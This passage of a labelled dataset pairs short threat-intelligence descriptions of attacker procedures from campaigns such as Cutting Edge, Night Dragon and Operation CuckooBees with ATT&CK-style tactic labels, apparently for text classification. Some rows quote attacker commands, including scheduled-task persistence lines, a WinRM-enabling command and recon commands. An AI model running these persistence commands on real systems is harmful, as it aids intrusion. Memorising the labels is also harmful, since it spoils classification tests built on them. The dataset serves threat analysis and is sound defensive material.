archive.",['TA0009:Collection'] "During Cutting Edge, threat actors used Perl scripts to enable the deployment of the THINSPOOL shell script dropper and for enumerating host data.",['TA0002:Execution'] "During Cutting Edge, threat actors trojanized legitimate files in Ivanti Connect Secure appliances with malicious code.",['TA0003:Persistence'] "During Cutting Edge, threat actors used DNS to tunnel IPv4 C2 traffic.",['TA0011:Command and Control'] "During Cutting Edge, threat actors stole the running configuration and cache data from targeted Ivanti Connect Secure VPNs.",['TA0009:Collection'] "During Cutting Edge, threat actors disabled logging and modified the `compcheckresult.cgi` component to edit the Ivanti Connect Secure built-in Integrity Checker exclusion list to evade detection.",['TA0005:Defense Evasion'] "During Cutting Edge, threat actors used compromised VPN accounts for lateral movement on targeted networks.","['TA0005:Defense Evasion', 'TA0001:Initial Access', 'TA0003:Persistence', 'TA0004:Privilege Escalation']" "During Cutting Edge, threat actors used a Base64-encoded Python script to write a patched version of the Ivanti Connect Secure `dsls` binary.",['TA0005:Defense Evasion'] "During Cutting Edge, threat actors exploited CVE-2023-46805 and CVE-2024-21887 in Ivanti Connect Secure VPN appliances to enable authentication bypass and command injection. A server-side request forgery vulnerability, CVE-2024-21893, was identified later and used to bypass mitigations for the initial two vulnerabilities by chaining with CVE-2024-21887.",['TA0001:Initial Access'] "During Cutting Edge, threat actors deleted `/tmp/test1.txt` on compromised Ivanti Connect Secure VPNs which was used to hold stolen configuration and cache files.",['TA0005:Defense Evasion'] "During Cutting Edge, threat actors cleared logs to remove traces of their activity and restored compromised systems to a clean state to bypass manufacturer mitigations for CVE-2023-46805 and CVE-2024-21887.",['TA0005:Defense Evasion'] "During Cutting Edge, threat actors leveraged exploits to download remote files to Ivanti Connect Secure VPNs.",['TA0011:Command and Control'] "During Cutting Edge, threat actors modified a JavaScript file on the Web SSL VPN component of Ivanti Connect Secure devices to keylog credentials.","['TA0009:Collection', 'TA0006:Credential Access']" "During Cutting Edge, threat actors used Task Manager to dump LSASS memory from Windows devices to disk.",['TA0006:Credential Access'] "During Cutting Edge, threat actors accessed and mounted virtual hard disk backups to extract ntds.dit.",['TA0006:Credential Access'] "During Cutting Edge, threat actors used compromised and out-of-support Cyberoam VPN appliances for C2.",['TA0042:Resource Development'] "During Cutting Edge, threat actors used the Unix socket and a reverse TCP shell for C2 communications.",['TA0011:Command and Control'] "During Cutting Edge, threat actors used malicious SparkGateway plugins to inject shared objects into web process memory on compromised Ivanti Secure Connect VPNs to enable deployment of backdoors.","['TA0005:Defense Evasion', 'TA0004:Privilege Escalation']" "During Cutting Edge, threat actors used Iodine to tunnel IPv4 traffic over DNS.",['TA0011:Command and Control'] "During Cutting Edge, threat actors used a Python reverse shell and the PySoxy SOCKS5 proxy tool.",['TA0002:Execution'] "During Cutting Edge, threat actors used RDP with compromised credentials for lateral movement.",['TA0008:Lateral Movement'] "During Cutting Edge, threat actors moved laterally using compromised credentials to connect to internal Windows systems with SMB.",['TA0008:Lateral Movement'] "During Cutting Edge, threat actors used SSH for lateral movement.",['TA0008:Lateral Movement'] "During Cutting Edge, threat actors peformed reconnaissance of victims' internal websites via proxied connections.",['TA0043:Reconnaissance'] "During Cutting Edge, threat actors used the ENUM4LINUX Perl script for discovery on Windows and Samba hosts.",['TA0007:Discovery'] "During Cutting Edge, threat actors changed timestamps of multiple files on compromised Ivanti Secure Connect VPNs to conceal malicious activity.",['TA0005:Defense Evasion'] "During Cutting Edge, threat actors leveraged tools including Interactsh to identify vulnerable targets, PySoxy to simultaneously dispatch traffic between multiple endpoints, BusyBox to enable post exploitation activities, and Kubo Injector to inject shared objects into process memory.",['TA0042:Resource Development'] "During Cutting Edge, threat actors sent a magic 48-byte sequence to enable the PITSOCK backdoor to communicate via the `/tmp/clientsDownload.sock` socket.","['TA0011:Command and Control', 'TA0005:Defense Evasion', 'TA0003:Persistence']" "During Cutting Edge, threat actors used the publicly available Interactsh tool to identify Ivanti Connect Secure VPNs vulnerable to CVE-2024-21893.",['TA0043:Reconnaissance'] "During Cutting Edge, threat actors modified the JavaScript loaded by the Ivanti Connect Secure login page to capture credentials entered.","['TA0009:Collection', 'TA0006:Credential Access']" "During Cutting Edge, threat actors used multiple web shells to maintain presence on compromised Connect Secure appliances such as WIREFIRE, GLASSTOKEN, BUSHWALK, LIGHTWIRE, and FRAMESTING.",['TA0003:Persistence'] "During Frankenstein, the threat actors used Empire to automatically gather the username, domain name, machine name, and other system information.",['TA0009:Collection'] "During Frankenstein, the threat actors collected information via Empire, which was automatically sent back to the adversary's C2.",['TA0010:Exfiltration'] "During Frankenstein, the threat actors ran encoded commands from the command line.",['TA0005:Defense Evasion'] "During Frankenstein, the threat actors used Empire to gather various local system information.",['TA0009:Collection'] "During Frankenstein, the threat actors deobfuscated Base64-encoded commands following the execution of a malicious script, which revealed a small script designed to obtain an additional payload.",['TA0005:Defense Evasion'] "During Frankenstein, the threat actors collected information via Empire, which sent the data back to the adversary's C2.",['TA0010:Exfiltration'] "During Frankenstein, the threat actors exploited CVE-2017-11882 to execute code on the victim's machine.",['TA0002:Execution'] "During Frankenstein, the threat actors downloaded files and tools onto a victim machine.",['TA0011:Command and Control'] "During Frankenstein, the threat actors used MSbuild to execute an actor-created file.",['TA0005:Defense Evasion'] "During Frankenstein, the threat actors relied on a victim to enable macros within a malicious Microsoft Word document likely sent via email.",['TA0002:Execution'] "During Frankenstein, the threat actors named a malicious scheduled task ""WinUpdate"" for persistence.",['TA0005:Defense Evasion'] "During Frankenstein, the threat actors used PowerShell to run a series of Base64-encoded commands that acted as a stager and enumerated hosts.",['TA0002:Execution'] "During Frankenstein, the threat actors used Empire to obtain a list of all running processes.",['TA0007:Discovery'] "During Frankenstein, the threat actors established persistence through a scheduled task using the command: `/Create /F /SC DAILY /ST 09:00 /TN WinUpdate /TR`, named ""WinUpdate""","['TA0002:Execution', 'TA0003:Persistence', 'TA0004:Privilege Escalation']" "During Frankenstein, the threat actors used WMI queries to determine if analysis tools were running on a compromised system.",['TA0007:Discovery'] "During Frankenstein, the threat actors likely used spearphishing emails to send malicious Microsoft Word documents.",['TA0001:Initial Access'] "During Frankenstein, the threat actors communicated with C2 via an encrypted RC4 byte stream and AES-CBC.",['TA0011:Command and Control'] "During Frankenstein, the threat actors used a script that ran WMI queries to check if a VM or sandbox was running, including VMWare and Virtualbox. The script would also call WMI to determine the number of cores allocated to the system; if less than two the script would stop execution.","['TA0005:Defense Evasion', 'TA0007:Discovery']" "During Frankenstein, the threat actors used Empire to obtain the compromised machine's name.",['TA0007:Discovery'] "During Frankenstein, the threat actors used Empire to find the public IP address of a compromised system.",['TA0007:Discovery'] "During Frankenstein, the threat actors used Empire to enumerate hosts and gather username, machine name, and administrative permissions information.",['TA0007:Discovery'] "During Frankenstein, the threat actors used trojanized documents that retrieved remote templates from an adversary-controlled website.",['TA0005:Defense Evasion'] "For Frankenstein, the threat actors obtained and used Empire.",['TA0042:Resource Development'] "During Frankenstein, the threat actors used Word documents that prompted the victim to enable macros and run a Visual Basic script.",['TA0002:Execution'] "During Frankenstein, the threat actors used HTTP GET requests for C2.",['TA0011:Command and Control'] "During Frankenstein, the threat actors ran a command script to set up persistence as a scheduled task named ""WinUpdate"", as well as other encoded commands from the command-line",['TA0002:Execution'] "During Frankenstein, the threat actors used WMI queries to check if various security applications were running as well as to determine the operating system version.",['TA0002:Execution'] "During FunnyDream, the threat actors used 7zr.exe to add collected files to an archive.",['TA0009:Collection'] "For FunnyDream, the threat actors registered a variety of domains.",['TA0042:Resource Development'] "For FunnyDream, the threat actors likely established an identified email account to register a variety of domains that were used during the campaign.",['TA0042:Resource Development'] "During FunnyDream, the threat actors downloaded additional droppers and backdoors onto a compromised system.",['TA0011:Command and Control'] "For FunnyDream, the threat actors used a new backdoor named FunnyDream.",['TA0042:Resource Development'] "During FunnyDream, the threat actors used Tasklist on targeted systems.",['TA0007:Discovery'] "During FunnyDream, the threat actors used several tools and batch files to map victims' internal networks.",['TA0007:Discovery'] "During FunnyDream, the threat actors used Systeminfo to collect information on targeted hosts.",['TA0007:Discovery'] "During FunnyDream, the threat actors used ipconfig for discovery on remote systems.",['TA0007:Discovery'] "During FunnyDream, the threat actors used netstat to discover network connections on remote systems.",['TA0007:Discovery'] "For FunnyDream, the threat actors used a modified version of the open source PcShare remote administration tool.",['TA0042:Resource Development'] "During FunnyDream, the threat actors used a Visual Basic script to run remote commands.",['TA0002:Execution'] "During FunnyDream, the threat actors used `cmd.exe` to execute the wmiexec.vbs script.",['TA0002:Execution'] "During FunnyDream, the threat actors used `wmiexec.vbs` to run remote commands.",['TA0002:Execution'] "During HomeLand Justice, threat actors added the `ApplicationImpersonation` management role to accounts under their control to impersonate users and take ownership of targeted mailboxes.","['TA0003:Persistence', 'TA0004:Privilege Escalation']" "During HomeLand Justice, threat actors used tools with legitimate code signing certificates.",['TA0042:Resource Development'] "During HomeLand Justice, threat actors used ROADSWEEP ransomware to encrypt files on targeted systems.",['TA0040:Impact'] "During HomeLand Justice, threat actors used the built-in administrator account to move laterally using RDP and Impacket.","['TA0005:Defense Evasion', 'TA0001:Initial Access', 'TA0003:Persistence', 'TA0004:Privilege Escalation']" "During HomeLand Justice, threat actors deleted Windows events and application logs.",['TA0005:Defense Evasion'] "During HomeLand Justice, threat actors modified and disabled components of endpoint detection and response solutions including Microsoft Defender Antivirus.",['TA0005:Defense Evasion'] "During HomeLand Justice, threat actors used a version of ZeroCleare to wipe disk drives on targeted hosts.",['TA0040:Impact'] "During HomeLand Justice, threat actors used compromised Exchange accounts to search mailboxes for administrator accounts.",['TA0007:Discovery'] "During HomeLand Justice, threat actors used HTTP to transfer data from compromised Exchange servers.",['TA0010:Exfiltration'] "For HomeLand Justice, threat actors exploited CVE-2019-0604 in Microsoft SharePoint for initial access.",['TA0001:Initial Access'] "During HomeLand Justice, threat actors used web shells to download files to compromised infrastructure.",['TA0011:Command and Control'] "During HomeLand Justice, threat actors dumped LSASS memory on compromised hosts.",['TA0006:Credential Access'] "During HomeLand Justice, threat actors initiated a process named Mellona.exe to spread the ROADSWEEP file encryptor and a persistence script to a list of internal machines.",['TA0008:Lateral Movement'] "During HomeLand Justice, threat actors renamed ROADSWEEP to GoXML.exe and ZeroCleare to cl.exe.",['TA0005:Defense Evasion'] "During HomeLand Justice, threat actors executed the Advanced Port Scanner tool on compromised systems.",['TA0007:Discovery'] "During HomeLand Justice, threat actors used PowerShell cmdlets New-MailboxSearch and Get-Recipient for discovery.",['TA0002:Execution'] "During HomeLand Justice, threat actors primarily used RDP for lateral movement in the victim environment.",['TA0008:Lateral Movement'] "During HomeLand Justice, threat actors made multiple HTTP POST requests to the Exchange servers of the victim organization to transfer data.",['TA0009:Collection'] "During HomeLand Justice, threat actors used SMB for lateral movement.",['TA0008:Lateral Movement'] "During HomeLand Justice, threat actors used custom tooling to acquire tokens using `ImpersonateLoggedOnUser/SetThreadToken`.","['TA0005:Defense Evasion', 'TA0004:Privilege Escalation']" "During HomeLand Justice, threat actors used tools including Advanced Port Scanner, Mimikatz, and Impacket.",['TA0042:Resource Development'] "During HomeLand Justice, threat actors used a compromised Exchange account to search mailboxes and create new Exchange accounts.","['TA0005:Defense Evasion', 'TA0001:Initial Access', 'TA0003:Persistence', 'TA0004:Privilege Escalation']" "For HomeLand Justice, threat actors used .aspx webshells named pickers.aspx, error4.aspx, and ClientBin.aspx, to maintain persistence.",['TA0003:Persistence'] "During HomeLand Justice, threat actors used Windows batch files for persistence and execution.",['TA0002:Execution'] "During HomeLand Justice, threat actors used WMI to modify Windows Defender settings.",['TA0002:Execution'] "KV Botnet Activity used various scripts to remove or disable security tools, such as http_watchdog and firewallsd, as well as tools related to other botnet infections, such as mips_ff, on victim devices.",['TA0005:Defense Evasion'] "KV Botnet Activity command and control activity includes transmission of an RSA public key in communication from the server, but this is followed by subsequent negotiation stages that represent a form of handshake similar to TLS negotiation.",['TA0011:Command and Control'] "KV Botnet Activity involves managing events on victim systems via libevent to execute a callback function when any running process contains the following references in their path without also having a reference to bioset: busybox, wget, curl, tftp, telnetd, or lua. If the bioset string is not found, the related process is terminated.","['TA0003:Persistence', 'TA0004:Privilege Escalation']" KV Botnet Activity removes on-disk copies of tools and other artifacts after it the primary botnet payload has been loaded into memory on the victim device.,['TA0005:Defense Evasion'] "KV Botnet Activity gathers a list of filenames from the following locations during execution of the final botnet stage: \/usr\/sbin\/, \/usr\/bin\/, \/sbin\/, \/pfrm2.0\/bin\/, \/usr\/local\/bin\/.",['TA0007:Discovery'] KV Botnet Activity included the use of scripts to download additional payloads when compromising network nodes.,['TA0011:Command and Control'] KV Botnet Activity altered permissions on downloaded tools and payloads to enable execution on victim machines.,['TA0005:Defense Evasion'] "KV Botnet Activity installation steps include first identifying, then stopping, any process containing kworker\/0:1, then renaming its initial installation stage to this process name.",['TA0005:Defense Evasion'] KV Botnet Activity involves changing process filename to pr_set_mm_exe_file and process name to pr_set_name during later infection stages.,['TA0005:Defense Evasion'] KV Botnet Activity focuses on compromise of small office-home office network devices to build the subsequent botnet.,['TA0042:Resource Development'] "KV Botnet Activity command and control traffic uses a non-standard, likely custom protocol for communication.",['TA0011:Command and Control'] "KV Botnet Activity generates a random port number greater than 30,000 to serve as the listener for subsequent command and control activity.",['TA0011:Command and Control'] KV Botnet Activity final payload installation includes mounting and binding to the \/proc\/ filepath on the victim system to enable subsequent operation in memory while also removing on-disk artifacts.,"['TA0005:Defense Evasion', 'TA0004:Privilege Escalation']" Scripts associated with KV Botnet Activity initial deployment can identify processes related to security tools and other botnet families for follow-on disabling during installation.,['TA0007:Discovery'] "KV Botnet Activity involved removal of security tools, as well as other identified IOT malware, from compromised devices.",['TA0007:Discovery'] "KV Botnet Activity includes use of native system tools, such as uname, to obtain information about victim device architecture, as well as gathering other system information such as the victim's hosts file and CPU utilization.",['TA0007:Discovery'] KV Botnet Activity gathers victim IP information during initial installation stages.,['TA0007:Discovery'] "KV Botnet Activity utilizes multiple Bash scripts during botnet installation stages, and the final botnet payload allows for running commands in the Bash shell.",['TA0002:Execution'] KV Botnet Activity used acquired Virtual Private Servers as control systems for devices infected with KV Botnet malware.,['TA0042:Resource Development'] "During Night Dragon, the threat actors collected files and other data from compromised systems.",['TA0009:Collection'] "During Night Dragon, threat actors disabled anti-virus and anti-spyware tools in some instances on the victim’s machines. The actors also disabled proxy settings to allow direct communication from victims to the Internet.",['TA0005:Defense Evasion'] "During Night Dragon, threat actors used domain accounts to gain further access to victim systems.","['TA0005:Defense Evasion', 'TA0001:Initial Access', 'TA0003:Persistence', 'TA0004:Privilege Escalation']" "During Night Dragon, threat actors used dynamic DNS services for C2.",['TA0011:Command and Control'] "During Night Dragon, threat actors used a DLL that included an XOR-encoded section.",['TA0005:Defense Evasion'] "During Night Dragon, threat actors used SQL injection exploits against extranet web servers to gain access.",['TA0001:Initial Access'] "During Night Dragon, threat actors used compromised VPN accounts to gain access to victim systems.","['TA0001:Initial Access', 'TA0003:Persistence']" "During Night Dragon, threat actors used company extranet servers as secondary C2 servers.",['TA0011:Command and Control'] "During Night Dragon, threat actors used zwShell to establish full remote control of the connected machine and browse the victim file system.",['TA0007:Discovery'] "During Night Dragon, threat actors used administrative utilities to deliver Trojan components to remote systems.",['TA0011:Command and Control'] "During Night Dragon, threat actors used RAT malware to exfiltrate email archives.",['TA0009:Collection'] "During Night Dragon, threat actors enticed users to click on links in spearphishing emails to download malware.",['TA0002:Execution'] "During Night Dragon, threat actors used Trojans from underground hacker websites.",['TA0042:Resource Development'] "During Night Dragon, threat actors used zwShell to establish full remote control of the connected machine and manipulate the Registry.",['TA0005:Defense Evasion'] "During Night Dragon, threat actors used pass-the-hash tools to obtain authenticated access to sensitive internal desktops and servers.","['TA0005:Defense Evasion', 'TA0008:Lateral Movement']" "During Night Dragon, threat actors used Cain & Abel to crack password hashes.",['TA0006:Credential Access'] "During Night Dragon, threat actors used several remote administration tools as persistent infiltration channels.",['TA0011:Command and Control'] "During Night Dragon, threat actors copied files to company web servers and subsequently downloaded them.",['TA0009:Collection'] "During Night Dragon, threat actors dumped account hashes using gsecdump.",['TA0006:Credential Access'] "During Night Dragon, threat actors purchased hosted services to use for C2.",['TA0042:Resource Development'] "During Night Dragon, threat actors compromised web servers to use for C2.",['TA0042:Resource Development'] "During Night Dragon, threat actors used software packing in its tools.",['TA0005:Defense Evasion'] "During Night Dragon, threat actors sent spearphishing emails containing links to compromised websites where malware was downloaded.",['TA0001:Initial Access'] "During Night Dragon, threat actors used password cracking and pass-the-hash tools to discover usernames and passwords.",['TA0007:Discovery'] "During Night Dragon, threat actors obtained and used tools such as gsecdump.",['TA0042:Resource Development'] "During Night Dragon, threat actors uploaded commonly available hacker tools to compromised web servers.",['TA0042:Resource Development'] "During Night Dragon, threat actors used compromised VPN accounts to gain access to victim systems.","['TA0005:Defense Evasion', 'TA0001:Initial Access', 'TA0003:Persistence', 'TA0004:Privilege Escalation']" "During Night Dragon, threat actors used HTTP for C2.",['TA0011:Command and Control'] "During Night Dragon, threat actors used zwShell to establish full remote control of the connected machine and run command-line shells.",['TA0002:Execution'] "During Operation CuckooBees, the threat actors used the Makecab utility to compress and a version of WinRAR to create password-protected archives of stolen data prior to exfiltration.",['TA0009:Collection'] "During Operation CuckooBees, the threat actors executed an encoded VBScript file.",['TA0005:Defense Evasion'] "During Operation CuckooBees, the threat actors used the legitimate Windows services `IKEEXT` and `PrintNotify` to side-load malicious DLLs.","['TA0005:Defense Evasion', 'TA0003:Persistence', 'TA0004:Privilege Escalation']" "During Operation CuckooBees, the threat actors collected data, files, and other information from compromised networks.",['TA0009:Collection'] "During Operation CuckooBees, the threat actors used the `dsquery` and `dsget` commands to get domain environment information and to query users in administrative groups.",['TA0007:Discovery'] "During Operation CuckooBees, the threat actors used compromised domain administrator credentials as part of their lateral movement.","['TA0005:Defense Evasion', 'TA0001:Initial Access', 'TA0003:Persistence', 'TA0004:Privilege Escalation']" "During Operation CuckooBees, the threat actors exploited multiple vulnerabilities in externally facing servers.",['TA0001:Initial Access'] "During Operation CuckooBees, the threat actors enabled WinRM over HTTP/HTTPS as a backup persistence mechanism using the following command: `cscript //nologo ""C:\Windows\System32\winrm.vbs"" set winrm/config/service@{EnableCompatibilityHttpsListener=""true""}`.","['TA0001:Initial Access', 'TA0003:Persistence']" "During Operation CuckooBees, the threat actors used `dir c:\\` to search for files.",['TA0007:Discovery'] "During Operation CuckooBees, the threat actors stroed payloads in Windows CLFS transactional logs.",['TA0005:Defense Evasion'] "During Operation CuckooBees, attackers used a signed kernel rootkit to establish additional persistence.","['TA0003:Persistence', 'TA0004:Privilege Escalation']" "During Operation CuckooBees, the threat actors used the `net user` command to gather account information.",['TA0007:Discovery'] "During Operation CuckooBees, the threat actors used the `net group` command as part of their advanced reconnaissance.",['TA0007:Discovery'] "During Operation CuckooBees, the threat actors renamed a malicious executable to `rundll32.exe` to allow it to blend in with other Windows system files.",['TA0005:Defense Evasion'] "During Operation CuckooBees, the threat actors used the `net share` command as part of their advanced reconnaissance.",['TA0007:Discovery'] "During Operation CuckooBees, the threat actors used the `net accounts` command as part of their advanced reconnaissance.",['TA0007:Discovery'] "During Operation CuckooBees, the threat actors used the `fsutil fsinfo drives` command as part of their advanced reconnaissance.",['TA0007:Discovery'] "During Operation CuckooBees, the threat actors used the `tasklist` command as part of their advanced reconnaissance.",['TA0007:Discovery'] "During Operation CuckooBees, the threat actors used the `net view` and `ping` commands as part of their advanced reconnaissance.",['TA0007:Discovery'] "During Operation CuckooBees, the threat actors used scheduled tasks to execute batch scripts for lateral movement with the following command: `SCHTASKS /Create /S /U /p /SC ONCE /TN test /TR /ST